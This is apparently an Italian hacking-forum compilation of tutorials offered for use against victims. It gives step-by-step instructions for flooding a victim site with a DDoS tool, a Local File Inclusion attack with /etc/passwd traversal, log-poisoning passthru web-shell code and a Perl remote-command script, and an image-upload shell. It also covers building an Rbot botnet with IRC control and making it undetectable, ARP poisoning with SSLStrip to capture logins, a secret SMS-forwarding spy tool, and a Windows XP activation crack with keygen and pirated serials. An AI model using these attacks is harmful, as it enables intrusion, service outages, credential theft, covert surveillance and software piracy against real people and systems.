#Include
$gui = GuiCreate('Titolo',300,200,BitOr($WS_POPUP,$WS_BORDER)); così creo la gui, senza pulsanti e con un bordo intorno
$b1 = GuiCtrlCreateButton('bottone',2,2,80,20); così creo un bottone
GuiSetState ( ); così faccio vedere la gui

While 1
Switch GuiGetMsg() ;importantissimo! ci deve essere sempre!
Case $b1; se si preme il bottone
MsgBox(0,'Clikkato','Hai premuto il bottone')
Case $GUI_EVENT_CLOSE; se premiamo il tasto di chiusura
Exit;esce
EndSwicth;serve!
Wend;serve!

Leggete i commenti x capire cosa fa.

Ora costruiamo insieme il primo semplicissimo programma. Si tratta di un login. E' completamente commentato.

CODICE

#include ;sono sempre da includere
Global $nomeGiusto = 'esempio', $pwGiusta = 'autoit 4 ever'
$gui = GUICreate('Login',100,120);creiamo la GUI
GUICtrlCreateLabel('Nome',2,2)
GUICtrlSetFont(-1,8,5000); cambiamo il font del testo
$nome = GUICtrlCreateInput('',2,25,90,20); creiamo una input
GUICtrlSetFont(-1,8,5000); cambiamo il font dell'input
GUICtrlCreateLabel('Password',2,50)
GUICtrlSetFont(-1,8,5000); cambiamo il font del testo
$pw = GUICtrlCreateInput('',2,65,90,20,$ES_PASSWORD);creiamo una input che sia adatta ad una password
GUICtrlSetFont(-1,8,5000); cambiamo il font dell'input
$prova = GUICtrlCreateButton('Login',2,90,80,20);creiamo un bottone per provare il login
GUICtrlSetFont(-1,8,5000); cambiamo il font dell'input
GUISetState ( );facciamo vedere la gui

While 1
Switch GUIGetMsg ()
Case $prova;se si preme il tasto login
If GUICtrlRead($nome) = $nomeGiusto And GUICtrlRead($pw) = $pwGiusta Then;se quello scritto nella input del nome e se quello scritto nella input della password è corretto
MsgBox(0,'Giusto','Giusto');messaggio
Else;se quello scritto nella input del nome e se quello scritto nella input della password è errato
MsgBox(0,'Errato','Errato');messaggio di errore
EndIf
Case $GUI_EVENT_CLOSE; se si preme il tasto per uscire si chiude
Exit
EndSwitch
WEnd

Fonte: hackshare

Raimbow Tables... What?

Per capire qualcosa dobbiamo avere bene in mente alcuni concetti matematici di base.

Funzione
Una funzione trasforma una/delle variabili in ingresso in un risultato in uscita. come notazione utilizzerò:

Funzione (input) = output

Applicazione lineare
Una applicazione lineare è una funzione che partendo da un solo input, genera un output formato due o più funzioni normali, in questa maniera:

ApplLineare (input) = [ Funz1 (Input, Funz2 (Input, - - - , FunzN (Input ] = output

(a tutti quelli che si offenderanno per questa definizione: scusate ma mi serviva il concetto, non posso essere troppo rigoroso... so che in realtà quelle che uso non sono apllicazioni lineari ma così posso farmi capire...)

Funzioni reversibili e irreversibili

Una funzione si dice reversibile quando esiste una funzione inversa tale che:
Se

Funzione (input) = output

allora

FunzInversa (output) = input

Se questo non accade allora la funzione si dice irreversibile, cioè non esiste un modo per recuperare l'input che ha determinato l'output.

GLI HASH

Quando inseriamo una password (xxxxx) in un sito per il login, essa deve esser inviata ad un server per poter essere comparata con un database dove sono salvate tutte le password. A questo punto ci troviamo di fronte a due enormi buchi di sicurezza:
- la password inviata in chiaro potrebbe essere facilmente sniffata;
- il database delle password potrebbe essere facilmente rubato mediante un attacco (DoS per esempio, tipo dopo un buffer overflow)
Per risolvere questi due problemi ci vengono incontro le funzioni crittografiche (come MD5 o SHA-1 ecc.) e il Web2.0 con le pagine php. Se noi includiamo nella pagina sul client un piccolo script php che sia in grado di trasformare in maniera irreversibile la nostra stringa xxxxxx (la password) in una stringa a lunghezza fissa [HASH o Digest dell'Hash], dalla quale non si sia più in grado di risalire alla password iniziale e creare sul server un database di tutti questi hash abbiamo risolto i due problemi di sicurezza. Anche se si sniffasse l'hash, esso non potrebbe essere ritrasformato nella password iniziale.

Esempio pratico:
Password: backtrack
Hash MD5: 5E28850DE5A33B62119108CCAF35A157

Cioè scritto sotto forma di funzione:

MD5(backtrack) = 5E28850DE5A33B62119108CCAF35A157

Cosa sono le RAINBOW TABLES?

Sono delle tabelle di associazione per ottenere delle chiavi crittografiche (nel nostro caso le pass wep o wpa o wpa2) riducendo in maniera significativa la necessità di risorse di sistema e di tempo.

La caratteristica principale di queste tabelle è che possono essere utilizzate unicamente per degli attacchi contro le hash delle password.

Le rainbow tables sono formate da righe (dette catene) e colonne. Nel nostro esempio, supponiamo di avere una tabella di M righe e N colonne

Come si generano le RAINBOW TABLES?

Le catene sono legate tra loro da una relazione simile ad una applicazione vettoriale, dominata da due tipi principali di funzioni irreversibili:

* Funzione Hash:
Simbolicamente la indichiamo come:

Hash(password)

La funzione di hash è sempre uguale in tutta la rainbow tables
* Funzione Riduzione:
La funzione di riduzione è ciò che contraddistingue le rainbow table, infatti sono delle funzioni che da un Hash genrano una stringa. Tale stringa non ha nulla a che fare con la password che ha generato l'hash. Simbolicamente lo indichiamo:

R

( Hash(password) ) = stringa

dove

è un indice numerico (1, 2, ecc.) che ci permetterà di contraddistinguere due funzioni di riduzione diverse, infatti ci sono diverse funzioni di riduzione nelle rainbow tables, tante quante sono le colonne, quindi N-1.

Cerchiamo ora di capire come sono collegate tra loro i vari termini di una catena.

1. Da una prima password A1, che è il primo elemento della catena, si genera un hash:

Hash(A1) = H1
2. Dal H1, mediante una una funzione di riduzione, si ottiene una nuova password A2, che diventerà il secondo elemento della catena:

R1 ( Hash(A1) ) = R1 ( H1 ) = A2
3. Il processo riprende ciclicamente: la password A2 viene sottoposta ad Hash:

Hash( R1 ( Hash(A1) ) ) = Hash(A2) = H2
4. Mediante una nuova funzione di riduzione si genera una nuova password

A3 che sarà al terzo posto della catena:
R2 ( Hash( R1 ( Hash(A1) ) ) ) = R2 ( Hash(A2) ) = R2 ( H2 ) = A3
5. - - -
6. Il processo continua fino alla generazione di AN password differenti.

AN = R(N-1) ( A(N-1) )

In definitiva abbaimo ottenuto una catena così composta:
A1 A2 A3 - - - AN

Questa catena altro non è che una applicazione lineare irreversibile del tipo:

Catena(A1) = [ A1 , R1 ( Hash(A1) ) , R2 ( Hash ( R1 ( Hash(A1) ) ) , - - - , AN ]

Questo tipo di applicazione è eseguita su una password B1, in questo modo otterremo una nuova catena da inserire sotto la precedente

Come sono legate tra di loro le colonne? La risposta è semplice: ad ogni colonna è stata applicata un solo tipo di funzione di riduzione:

1. Alla prima colonna non è associata alcuna funzione di riduzione
2. Alla seconda colonna è associata la funzione di riduzione R1
3. alla terza colonna è associata la funzione di riduzione R2
4. - - -
5. Alla N-esima colonna è associata la funzione di riduzione R(N-1)

Quindi possiamo visualizzare la tabella come una cosa del tipo:

§R R1 R2 R3 - - - R(N-1)
§1 A1 A2 A3 - - - AN
§2 B1 B2 B3 - - - BN
- - - - - - - - - - - - -
§M Z1 Z2 Z3 - - - ZN

Programma Lamer Ddos 5.5

Introduzione al programma: Ddos ( Distribuited Denial of Service ) 5.5 è un programma per sovraccaricare il server di un sito, aumentando le connessioni fino a fare esplodere il server

Esempio:
Il server di www.sitovittima.it può sostenere massimo 5000 connessioni attive, oi col nostro programma possiamo creare più connessioni, ad esempio il doppio, facendo rallentare drasticamente, e successivamente overlockare il server.

Questo è uno screen del programma:

SPOILER

E ora come funziona:

Premetto che non dovete seguire i numeri, i numeri sono solo il punto di riferimento per la descrizione. Successiavmente troverete la procedura passo a passo

1) Spazio dove Inserire L'url del sito per l'attacco
2) La porta (che poi vi spiegherò come trovarla)
3) Il numero di connessioni (che andranno a connettersi al server)
5) le connessioni attive al server (scusate se mi sono dimenticato il numero 4 )
6) Per Avviare il Ddos
____________________________________________

7) Dove inserire l'IP del sito da pingare
8) Il numero di Byte Per ping
9) Il numero di Ping al secondo
13) Avviare il Ping

______________________________________

10) Url del sito di cui volete trovare l'IP
11) Dove compare l'IP
12) tasto per far comparire l'IP (istantaneo)
____________________________________________________

Procediamo:

- Aprire il Ddos
- Inserire l'url del sito per trovare l'IP (ovvero punto 10-11-12)
- Effettuare l'attacco ping (incollare l'IP attraverso l'ip recuperato) inserire il ping in Byte (mettete 1000) e di thread mettete 75 Massimo, Il mio consiglio è mettere 75 per una memoria ram da almeno 512 mega. Lasciare che continui a effettuare l'attacco con i 75 Dos aperti, lasciatelo li.
- Dopo un po, effettuate l'attacco Ddos, come? allora IP mettete sempre quello che avete trovato prima, per quanto riguarda la porta basta fare tasto destro sul client se avete Internet explorer scegliete "Html" mentre se avete Firefox scegliete Sorgente Pagina, e andate a vedere a cosa corrisponde Info.Port=[Numero Porta] Di solito è la 21 o la 50 o la 80
- Connection: Partite da 100, quando in active connection sarà 100 allora aumentatela gradualmente 200 poi 250 poi 500 poi 700 poi 900 poi 1000 fino a quando il server non scoppia.

Download: Ddos 5.5

Non fate cazzate, usatelo a vostro rischio e pericolo! non mi assumo alcuna responsabilita

Guida a VNC e Real VNC

Per accedere in remoto a un altro PC

VNC (Virtual Network Computing) è un software di amministrazione remota.

Si divide in 2 moduli: server e client.

Per chiarire: il lato server è il PC che riceve "l'assistenza", quello client è il PC che si collega e "gestisce".

Innanzitutto scarichiamo i file, li trovate in giro per la rete...

Una volta downloadato , installiamo la parte Client e quella Server.

Lato Server.

Per collegare un PC al nostro computer apriamo il lato Server.

Impostiamo:

Accept socket connection: collega il server col client
Password: per inserire una password da parte dei client
Display number: forza il numero di connessione da utilizzare, o lo assegna automaticamente.
Disable local o remote keyboard & pointer: Abilita o disabilita l’utilizzo della tastiera e del puntatore locale o remoto.

Inserita la password premiamo OK e l'icona del server tornerà nella barra di Windows.

Quando un client si collega al nostro computer l'icona di Vnc da bianca diventa nera.

Ricordate di aprire le porte 5800 e 5900 in Tcp.

Lato Client.

Lanciamo Client da Run Vnc Viewer.

Nella finestra scriviamo l’indirizzo IP del PC server.

Clicchiamo ok dopo le opzioni e inseriamo la password che è stata impostata nel server.

Genuinizzare XP

Vi è mai capitato di comprare qualcosa, tipo un gioco del computer, inserire la chiave di attivazione e poi, puf! La chiave non andava bene?
A molta gente si, pero non con un gioco ma bensi con windows xp... Quidni vediamo in questa guida come rendere la nostra copia di windows (originale o non) autentica,questo vi permettera di scaricare aggiornamenti, e di usufruire dei programmi microsot.

1)Scarichiamo il pacchetto contenente tutto il necessario da questo indirizzo:

http://www.megaupload.com/?d=0XC9G13T

2)Una volta scaricato scompattiamo l’archivio

3)Aprite il file Windows XP Keygen.exe per calcolare un seriale valido e salvarlo da qualche parte. NB:funziona solo con Windows Xp Professional (con o senza service pack 2). Non vale per XP Home Edition. Se avete questo avrete bisogno di un seriale originale.

4)Eseguire il file Keyfinder.exe. Adesso verrà mostrato il vecchio seriale.
Per sostituirlo con il nuovo andate in : Options/Change Windows Key.

5)Inserire il seriale che prima avete calcolato e cliccare Change e OK

6)Aprire il programma WGA fix.exe e cliccare Si.

7)Esegui il programma MGADiad.exe e premi il tasto continue ( così verificherai se la tua copia è diventata genuina.)

8)Controlla il Validation Status, nella prima riga in alto. Se troverete scritto “Genuine” allora avrete la vostra copia di Windows Xp regolarmente valida e più il problema WGA.

LFI - Local File Inclusion

Iniziamo analizzando il codice vulnerabile:

Codice:


$page = $_GET[page];

include($page);
?>

Vedendo questo codice risalta subito la vulnerabilità. Ovvero la variabile $page che non è parsata dal PHP.
Detto questo andiamo a “osservare” il comportamento dei vari URL nel Browser della vittima.

Mettiamo caso di avere il file “test.php” nella directory “prova”
.
Per visualizzarne il contenuto dovremmo visitare il link seguente:

Codice:

www.vittima.it/prova/test.php

In questo modo visualizzeremo il contenuto della pagina “test.php”.

Supponiamo ora che il codice vulnerabile prima visualizzato sia presente nella Index e che la pagina “test.php” sia recuperabile attraverso la Index:

Codice:

www.vittima.it/index.php?page=prova/test.php

In questo modo visualizzerete la pagina “test.php” contenuta nella directory “prova”.

Ora vediamo come recuperare una pagina che si trova in una differente directory.
Immaginiamo che la pagina che vogliamo recuperare si trovi in:

Codice:

www.vittima.org/test.php

Mentre la Index si trovi in:

Codice:

www.vittima.org/prova/index.php

In questo caso faremmo cosi:

Codice:

www.vittima.org/prova/index.php?page=../test.php

Spieghiamo un po la sintassi:
"..” Servono per scalare la directory.
"../..” Servono per scalare più directory, ovvero aggiungeremo una slash ogni due puntini per saltare in un altra directory.

Ora abbiamo appreso come spostarci nelle directory.
Nel caso il Server risiedesse su Server Unix possiamo visualizzare la pagina con le password del Server.

Codice:

www.vittima.org/index.php?page=../../../../../../../etc/passwd

I “../..” variano a seconda di dove si trovi il file vulnerabile.

Se riuscite a vedere la pagina noterete che le password non sono visibili (perchè oscurate o per mancanza di permessi).
Visualizzereste una cosa del genere:

Codice:

Username:password:UID:GID:full_name:directory:shell

Ovvero:

Codice:

Mionome:miapassword:503:100:FullName:/home/nome:/bin/sh

La password oscurata dal server appare come "x", che significa che la password è codificata nella directory "/etc/shadow" che però è visualizzabile solo se si è root.
Ma è possibile visualizzare una cosa simile qualche volta:

Codice:

Usernane:!:503:100:FullName:/home/nomeutente:/bin/sh

Il punto esclamativo al posto della password sta a significare che la password è contenuta nella directory "etc/security/"
Nel caso non sia cosi potrete trovare la password nelle seguenti directory:

Codice:

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

Ora vediamo un altro tipo di codice vulnerabile:

Codice:


$page = $_GET["page"];

include("$page.php");
?>

In questo caso, alla fine del file si aggiunge ".php".
E questo verrà aggiunto a tutti i file che digiteremo nel browser.

Codice:

www.vittima.org/index.php?file=../../../../../../etc/password.php

(Notate il l'estensione del file)
Siccome probabilemente quel file non esiste, useremo il null byte:

“00%”

Che farà in modo di far ignorare al browser tutto quello che viene dopo di esso.

Altri modi di eseguire questa tecnica e quella di eseguire Comandi Sul Server iniettando codice PHP in HTTPD per poi provare ad accedere a essi tramite i LOG utilizzando la LFI.
I LOG li potete trovare in:

Codice:

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_ log

../../../../../../../usr/local/apache/logs/access. log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_l og

../../../../../../../usr/local/apache/logs/error.l og

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

Ora osserviamo i LOG trovati e vediamo cosa contengono.
In questo esempio si userà un LOG che memorizza "not found files" e il codice PHP

Codice:

passthru (\$_GET[cmd]) 
?>

Che precedentemente abbiamo inserito tramite Browser.
Questo potrebbe non funzionare perchè il Browser decodifica i caratteri speciali, e nel LOG troveremo:

Codice:

%3C?%20passthru(\$_GET[cmd])%20?>

Quindi in questo caso
useremo uno Script scritto da d3fcrash:

Codice:

#!/usr/bin/perl -w

use IO::Socket;

use LWP::UserAgent;

$site="victim.com";

$path="/folder/";

$code="";

$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die

"\nConnection Failed.\n\n";

print $socket "GET ".$path.$code." HTTP/1.1\r\n";

print $socket "User-Agent: ".$code."\r\n";

print $socket "Host: ".$site."\r\n";

print $socket "Connection: close\r\n\r\n";

close($socket);

print "\nCode $code sucssefully injected in $log \n";

print "\nType command to run or exit to end: ";

$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die

"\nConnection Failed.\n\n";

   print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";

   print $socket "Host: ".$site."\r\n";

   print $socket "Accept: */*\r\n";

   print $socket "Connection: close\r\n\n";

   while ($show = <$socket>)

   {

      print $show;

   }

print "Type command to run or exit to end: ";

$cmd = ;

}

Fate un “Copia” e “Incolla” "whatever.pl"
Poi modificatelo dove ritenete sia giusto, e nel caso il sito sia vulnerabile vi chiderà di inserire un comando.

Local JPG Injection

Ultima cosa, ma non meno importante sarà quella di dare un occhiata su come il sito gestisce il
caricamento delle immagini.
E' necessario inserire il codice PHP che si desidera eseguire dentro l' immagine, per fare questo, basta usare un editor esadecimale preferito, o la possibiltà di utilizzare edjpgcom (tutto quello che dovete fare è cliccare sull' immagine con il tasto destro, selezionare Apri con..., selezionare l'immagine e digitare il codice).
Cosi avrete la vostra Shell.
Vi rimane di trovare un form di Upload immagini, ed upparla nel server.

Dopo averlo trovato e aver caricato l'immagine trovate un errore (in modo da trovare il percorso del server):

Codice:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource

in /home/sitefolder/public_html/includes/view.php on line 37

Se non si riesce a creare questo errore tornare al file "etc/password":

Codice:

Username:miapassword:503:100:Fullname:/home/Username:/bin/sh

Di solito è cosi.
Ritorniamo alla nostra immagine, clicchiamo con il tasto destro del mouse su di essa, ed
annotiamoci il nome del percorso del file:

Codice:

www.vittima.it/index.php=../../../../../../home/the_other_site_dir_/public_html/path_to_youe_avatar/avatar.jpg

E se lanciamo dal browser la path esatta della immagine, vedremo il suo risultato:

Codice:

www.sitovittima.org/index.php=../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg.

Cambiare MAC address su windows

Ogni adattatore di rete, sia esso Ethernet, Wifi o Bluetooth, è identificabile tramite un indirizzo univoco: il Mac Address. Il Mac Address (Media Access Control) è l’indirizzo fisico della scheda di rete e si compone di sei numeri esadecimali separati da un trattino (per esempio 01-23-45-67-89-AB).

La prima parte formata dai primi tre numeri (01-23-45) è detto OUI (Organizationally Unique Identifier); questi numeri identificano il costruttore. Analizzandoli si è in grado di individuare il produttore dell’adattatore: rudimentale forma di fingerprinting.

Per identificare il Mac Address del proprio PC si può utilizzare il comando ipconfig dalla linea di comando, usando il parametro /all. Per farlo aprire il prompt dei comandi (Start -> Esegui -> cmd) e digitare:

ipconfig /all

Appariranno una serie di informazioni. Quella che ci interessa è la linea in cui appare la scritta “Indirizzo fisico”.

Cambiare il Mac Address (Mac Address Spoofing) può essere utile per diversi motivi.

1. Anonimato. Il Mac Address è un numero che identifica in modo univoco un dispositivo di rete, e di conseguenza un PC. Modificandolo si aumentano le probabilità di non essere identificati.

2. Aggirare meccanismi di autenticazione. In alcuni casi il Mac Address viene utilizzato per garantire l’accesso a determinare risorse (come una rete wireless) soltanto a determinati computer, identificati appunto tramite Mac Address. Modificando il Mac Address, sostituendolo con un indirizzo incluso nella white-list, consentirebbe di aggirare il filtro e ottenere così l’accesso alla rete.

Modificare il Mac Address è molto semplice. Basta utilizzare il programma Mac Makeup. Il suo utilizzo è elementare.

1. Selezionare l’inferfaccia di rete a cui si vuole cambiare Mac, selezionandola dalla lista in alto

2. Scegliere il tipo di indirizzo con cui sostituire quello originale cliccando sul pulsante “Generate random”. Le scelte a disposizione sono:

* Mac totalmente random
* Random Device (ultimi tre numeri a destra del Mac)
* Random OID (Primi tre numeri, ovvero il codice del produttore)

3. Cliccare sul pulsante “Change”

Il gioco è fatto: il Mac è cambiato. Per verificarlo si può utilizzare di nuovo il comando ipconfig /all come ho illustrato prima. La modifica non è definitiva: cliccando sul pulsante “Remove” si torna all’indirizzo originale; stesso risultato che si ottiene riavviando il PC.

Creare una BotNet

Cosa è una botnet?

Una botnet è una rete di computer collegati ad internet che fanno parte di un insieme di computer controllato da un'unica entità, il botmaster. Ciò può essere causato da falle nella sicurezza o mancanza di attenzione da parte dell'utente e dell'amministratore di sistema, per cui i computer vengono infettati da virus informatici o trojan i quali consentono ai loro creatori di controllare il sistema da remoto. I controllori della botnet possono in questo modo sfruttare i sistemi compromessi per scagliare attacchi distribuiti del tipo denial-of-service (DDoS) contro qualsiasi altro sistema in rete oppure compiere altre operazioni illecite, in taluni casi agendo persino su commissione di organizzazioni criminali. I computer che compongono la botnet sono chiamati bot (da roBOT) o zombie.

Approfondimento

Ora vediamo come crearne una:
In primo luogo bisogna scaricare questi tre tool:

1. Download Mcft Visual C++ 6.0 Standard Edition

http://www.megaupload.com/?d=SUHPYZRX
http://rapidshare.com/files/21861555/msc__.rar.html

Pass: itzforblitz
Serial: 812-2224558

2.Aprite il setup e installatelo. Poi inserite il seriale sopra elencato.

3.Scaricare e installate il Service Pack 6 per Visual Basic 6.0 , Visual C++ 6.0 con Visual Source Safe 6.0d:

http://www.microsoft.com/downloads/d...displaylang=en

4.Dopo di che scaricate e installate Windows Platform SDK:

http://www.megaupload.com/?d=YH3SS78I
http://rapidshare.com/files/21854411/sdk.rar.html

Pass: itzforblitz
__________________________________________________ _______________________

Preparazione Microsoft Visual C++ 6.0
__________________________________________________ _______________________

Ora aprite Microsoft Visual C++ 6.0 , andate in Tools poi opzioni aprite la scheda Directories e sostituite le precedenti righe con queste sotto elencate nello stesso ordine senno non funziona :

C:\PROGRAMMI\MICROSOFT PLATFORM SDK
C:\PROGRAMMI\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAMMI\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAMMI\MICROSOFT PLATFORM SDK\LIB

__________________________________________________ _________________________

Scaricate la versione moddata di Rbot 7.6 a questo link

__________________________________________________ _________________________

Vai alla directory del file precedentemente scaricato, aprite il file configs.h con il blocco note (o qualsiasi altro programma di editor di testo)

E modificate queste righe:

char password[] = ""; // The password that the bot uses when .login command is entered
char server[] = "";  // The IRC server you will host your bot(s) on to command it
char serverpass[] = "";  // A password to the IRC server if it is required
char channel[] = "";     // Channel in which the bot will join upon entering server
char chanpass[] = "";    // The password of the channe

Questo e un'esempio

char password[] = "pwnt";                
char server[] = "irc.landoleet.org";
char serverpass[] = "lalla";
char channel[] = "#bhobho";            
char chanpass[] = "qual'è??";

__________________________________________________ _________________________

Ora aprite Visual Studio C++ 6.0 poi cliccate su File > Open Workspace . Sfoglia tra le cartelle del rbot e cerca il file "rBot.dsw" , una volta trovato fai doppio click su di esso .

Dopo di che ,clicca col tasto desto del mouse sulla scritta in grassetto (come nell'immagine in baso) e clicca su build:

Dopo averlo compilato il progetto andate nella cartella "Debug" e li troverete il rbot.

E altamente consigliato blindare il file per renderlo irrilevabile.
E sconsigliato testare il file su di sè , e se lo aprite per sbaglio andate nella botnet ed lanciate il comando per disinfettare il bot.

Vi lascio la lista dei comandi (che purtroppo e in inglese :

scaricate da Qui: http://rapidshare.com/files/21542921/cmands.html

Man In The Middle

Con la tipologia di attacco Main In The Middle noi proviamo a riderigere il traffico tra due host (vittime) a un terzo host (attacker).

Man In The Middle In Locale

Per sniffare il traffico in locale la tecnica piu usata e' l' ARP Poisoning.
Ma vorrei introdurre prima Ethernet.
Ethernet è il nome di un protocollo per reti locali cioè un protocollo per comunicare tra vari host in locale; ed appartiene al livello di data-link (riguardante il collegamento fisico) del protocollo TCP/IP (protocollo di internet).
Questo significa che ogni pacchetto di traffico viene preso dal protocollo TCP/IP in modo da contenere informazioni su:
-Protocollo usato.
-IP del Mittente.
-IP del Destinatario.
Il pacchetto viene poi messo in un frame dallo standard ethernet, in modo da avere una precisa struttura:

Ciò è necessario perché Ethernet non identifica le macchine connesse in rete attraverso il loro IP standard di comunicazione via internet, ma tramite un numero univoco a 48 bit chiamato MAC (Media Access Controllers) address, un numero che identifica senza ambiguità una scheda di rete dall'altra.

Responsabile della mappatura dei 32 bit dell'indirizzo IP nei 48 del MAC è il protocollo ARP (Address Resolution Protocol). Questo protocollo è strutturato attraverso due tipi di comunicazione con il resto della rete.

-ARP request, generalmente inviata dal gateway in broadcast, richiede il MAC associato ad un certo IP in rete (Who has 0.0.0.0?).
-ARP reply, spedita dall'host richiesto in risposta ad una ARP request. Tramite questo messaggio l'host comunica al gateway il suo MAC.

ARP Cache

L'ARP cache è una struttura progettata in modo di massimizare le prestazioni di una rete, in modo da non inviare ogni volta una ARP Request per inviare un pacchetto a un host alla quale si è inviato un pacchetto di recente.
La ARP cache memorizza per un periodo di tempo variabile, gli indirizzi MAC con cui sono avvenute delle comunicazioni e gli IP associati.

Il comportamento per l'invio di un pacchetto TCP/IP è quello di controllare nella ARP Cache se già si ha il MAC associato all'indirizzo IP richiesto.
Nel caso la risposta sia positiva viene creato il frame Ethernet e il pacchetto viene inviato.
Se la risposta è negativa viene mandata una ARP Request in broadcast sulla rete e si aspetta la risposta dall'host con una ARP Reply che comunica (trasmette) il suo MAC.
In tal caso il MAC viene messo nel frame Ethernet e il pacchetto viene ugualmente inviato.
Quando invece arriva una ARP Reply, il kernel mette nella propria ARP Cache il MAC in questione.
In alcuni sistemi come Solaris il MAC viene inserito nella ARP Cache soltanto se prima della ARP Reply il kernel aveva mandato una ARP Request.
Windows e Linux invece inseriscono il MAC nella ARP Cache anche se nella ARP Reply non era stata richiesta.

ARP Poisoning

Sfruttando il comportamento di un host durante la ricezione di una ARP Reply è possibile modificare la Cache ARP.
Immaginiamo di essere in uno scenario di rete locale del genere (ARP cache prima del poisoning):

Codice:

sh$ arp -a
host1 (192.168.1.1) at 01:01:01:01:01:01 [ether] on eth0
host2 (192.168.1.2) at 02:02:02:02:02:02 [ether] on eth0
host3 (192.168.1.3) at 03:03:03:03:03:03 [ether] on eth0

Dove host1 e host2 sono le due macchine (vittime) di cui vogliamo dirottare il traffico, mentre host3 è il nostro attacker.
Se host3 manda una ARP Reply a host1 che contiene il suo MAC e dicendo in essa di essere host2, host1 ricorderà il MAC di host3 all'interno della propria Cache ARP, e da lì in poi tutti i pacchetti mandati a host2 verranno in realtà inviati (quindi dirottati) a host3.
L'attacker farà lo stesso anche con host2, mandandogli una ARP Reply contenente il suo MAC e dicendo di essere host1, e così il suo MAC verrà ricordato nella Cache ARP di host2.
D'ora in poi tutti i pacchetti scambiati tra host1 e host2 transiteranno prima su host3, che potrà visualizzare il contenuto prima di reinviarli ai legittimi destinatari.

Sniffare SSL

Secure Sockets Layer (SSL) è un protocollo crittografico che permette una comunicazione sicura e una integrità dei dati su reti TCP/IP come, ad esempio, internet. SSL cifra la comunicazione dalla sorgente alla destinazione (end-to-end) sul livello di trasporto.

Diverse versioni del protocollo sono ampiamente utilizzate in applicazioni come i browser, l'E-mail, la messaggistica istantanea e il Voice over IP.

Per poter sniffare i dati avremmo bisogno questa volta del tool SLLStrip.

Che è in grado di intercettare le connessioni (trasmissioni) SSL servendosi della tecnica dell’hijacking.

Citazione di: wikipedia

"Il termine hijacking indica una tecnica che consiste nel modificare opportunamente dei pacchetti dei protocolli TCP/IP al fine di dirottare i collegamenti ai propri siti e prenderne il controllo"

Funzionamento di SSLStrip

Il tool analizza continuamente la rete, captando il traffico SSL appena un host fa una richiesta di una pagina cifrata.
In questo caso il tool crea una copia della pagina richiesta dalla vittima. Quest’ultima verrà quindi dirottata sulla pagina clonata nella quale inserirà i propri dati di accesso, e cosi riceviamo i dati.

Il tool è scritto in Python.

Ora proveremo su Ubuntu.

Innanzitutto installiamo i software di cui ha bisogno il tool per fungere, digitiamo sul terminale:

Codice:

sudo apt-get install python python-twisted-web dsniff

Adesso scarichiamo il file contente SSLStrip cliccando qui sulla Scrivania. Digitamo quindi sul terminale:

Codice:

cd Scrivania

poi

Codice:

tar zxvf sslstrip-0.6.tar.gz

poi

Codice:

cd sslstrip-0.6

poi

Codice:

sudo python ./setup.py install

Attacco con SSLStrip

Mandiamo la scheda di rete in forwarding mode digitando:

Codice:

sudo su
echo "1" > /proc/sys/net/ipv4/ip_forward

Settiamo le iptables in maniera da reindirizzare il traffico HTTP verso SSLStrip digitando:

Codice:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port

Avviamo SSLStrip digitando:

Codice:

python ./sslstrip.py -l

Alle precedenti righe andrà sostituito con il numero corrispondente alla porta da mettere in ascolto per l’attacco.

Abbiamo finito, ora ci basta avviare un ARP Spoof per obbligare la rete a reindirizzare il traffico verso l'host dell'attacker.
Per fare ciò apriamo un altro terminale lasciando aperto il precedente.

Digitiamo sul nuovo terminale:

Codice:

arpspoof -i  -t

Al posto di va messo l’ip della vittima e al posto di l’indirizzo il del router.

A questo punto lo script inizierà a lavorare secondo il procedimento accennato sopra catturando i dati di accesso.

Deviare gli sms

RedrSMS è un software per symbian OS che serve a inoltrare i messaggi che arrivano in un telefono ad un altro automaticamente ad ogni sms....
RedrSMS è composto da 2 parti:

-RedrSMS Config che serve per impostare il numero del destinatario (si può anche disinstallare dopo aver impostato il destinatario)

- RedrSMS che è la parte principale (da usare solo dopo aver configurato il destinatario)

Il programma è compatibile con Symbian O.S. S60 2nd e 3rd edition

Testato e funzionante su:

- Nokia N81 (3rd)
- Nokia 6120 classic (3rd)
- Nokia 6600 (2nd)

Download:

http://www.filefactory.com/file/ag2354d/n/RedrSMS_rar

Codifica in base 64

Il principio della codifica Base 64 consiste nell’utilizzare dei caratteri US-ASCII (caratteri non accentuati) per codificare tutti i tipi di caratteri ad 8 bits.
In effetti, i protocolli di posta elettronica sono stati originariamente previsti per trasportare solamente dei messaggi di testo. Ora, data la diversità dei sistemi di posta elettronica, lo scambio di dati binari si traduce per nella maggiorparte dei casi in trasformazioni di contenuto rendendo illeggibile il documento originale.
Il formato Base64, utilizzato massicciamente negli scambi di posta elettronica, permette quindi di trasmettere ogni documento binario (applicazione, video, file audio, ecc.) in allegato ad un messaggio elettronico codificandoli attraverso dei caratteri classici.
La codifica Base64 provoca un aumento globale del 33% del volume dei dati da decodificare.

